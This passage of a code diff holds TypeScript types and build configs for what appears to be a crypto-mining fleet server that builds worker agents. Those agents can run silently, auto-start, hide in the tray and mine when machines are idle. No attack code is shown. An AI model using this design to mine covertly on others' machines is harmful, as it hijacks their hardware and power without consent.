difficulty: number;
accepted: boolean;
hash: string;
nonce: string;
error?: string;
timestamp: string;
}
export interface HashrateSample {
id: number;
agent_id: string;
hashrate: number;
timestamp: string;
}
export interface BuildRecord {
id: string;
worker_name: string;
server_url: string;
wallet: string;
threads: number;
file_size: number;
file_path: string;
created_at: string;
pool_host: string;
pool_port: number;
pool_tls: boolean;
pool_pass: string;
}
export interface FleetStats {
total_agents: number;
online_agents: number;
total_hashrate: number;
total_shares: number;
accepted_shares: number;
rejected_shares: number;
accept_rate: number;
}
export interface ServerConfig {
port: number;
data_dir: string;
pool: PoolConfig;
wallet: WalletConfig;
default_agent_config: AgentDefaults;
background: BackgroundConfig;
alerts: AlertsConfig;
}
export interface PoolConfig {
host: string;
port: number;
use_tls: boolean;
password: string;
}
export interface WalletConfig {
address: string;
payment_id: string;
}
export interface AgentDefaults {
threads: number;
cpu_priority: string;
max_cpu_usage_pct: number;
min_free_ram_mb: number;
mining_mode: string;
idle_threshold_pct: number;
idle_duration_minutes: number;
schedule_start: string;
schedule_end: string;
}
export interface BackgroundConfig {
silent_mode: boolean;
run_as: string;
auto_start: boolean;
minimize_to_tray: boolean;
}
export interface AlertsConfig {
offline_threshold_minutes: number;
hashrate_drop_threshold_pct: number;
rejection_rate_threshold_pct: number;
}
export interface BuildRequest {
worker_name: string;
server_url: string;
wallet: string;
threads: number;
cpu_priority: string;
mining_mode: string;
silent_mode: boolean;
run_as: string;
auto_start: boolean;
max_cpu_usage_pct: number;
min_free_ram_mb: number;
idle_threshold_pct: number;
idle_duration_minutes: number;
schedule_start: string;
schedule_end: string;
pool_host: string;
pool_port: number;
pool_tls: boolean;
pool_pass: string;
}
export interface BuildResponse {
success: boolean;
build_id?: string;
file_name?: string;
file_path?: string;
relative_path?: string;
file_size?: number;
download_url?: string;
error?: string;
}
export interface WSMessage {
type: string;
payload: any;
}

21
server/web/tsconfig.json Normal file
View File

@@ -0,0 +1,21 @@
{
"compilerOptions": {
"target": "ES2020",
"useDefineForClassFields": true,
"lib": ["ES2020", "DOM", "DOM.Iterable"],
"module": "ESNext",
"skipLibCheck": true,
"moduleResolution": "bundler",
"allowImportingTsExtensions": true,
"resolveJsonModule": true,
"isolatedModules": true,
"noEmit": true,
"jsx": "react-jsx",
"strict": true,
"noUnusedLocals": false,
"noUnusedParameters": false,
"noFallthroughCasesInSwitch": true
},
"include": ["src"],
"references": [{ "path": "./tsconfig.node.json" }]
}

View File

@@ -0,0 +1,10 @@
{
"compilerOptions": {
"composite": true,
"skipLibCheck": true,
"module": "ESNext",
"moduleResolution": "bundler",
"allowSyntheticDefaultImports": true
},
"include": ["vite.config.ts"]
}

23
server/web/vite.config.ts Normal file
View File

@@ -0,0 +1,23 @@
import { defineConfig } from 'vite'
import react from '@vitejs/plugin-react'
export default defineConfig({
plugins: [react()],
server: {
port: 5173,
proxy: {
'/api': {
target: 'http://localhost:8989',
changeOrigin: true,
},
'/ws': {
target: 'ws://localhost:8989',
ws: true,
},
},
},
build: {
outDir: 'dist',
sourcemap: false,
},
})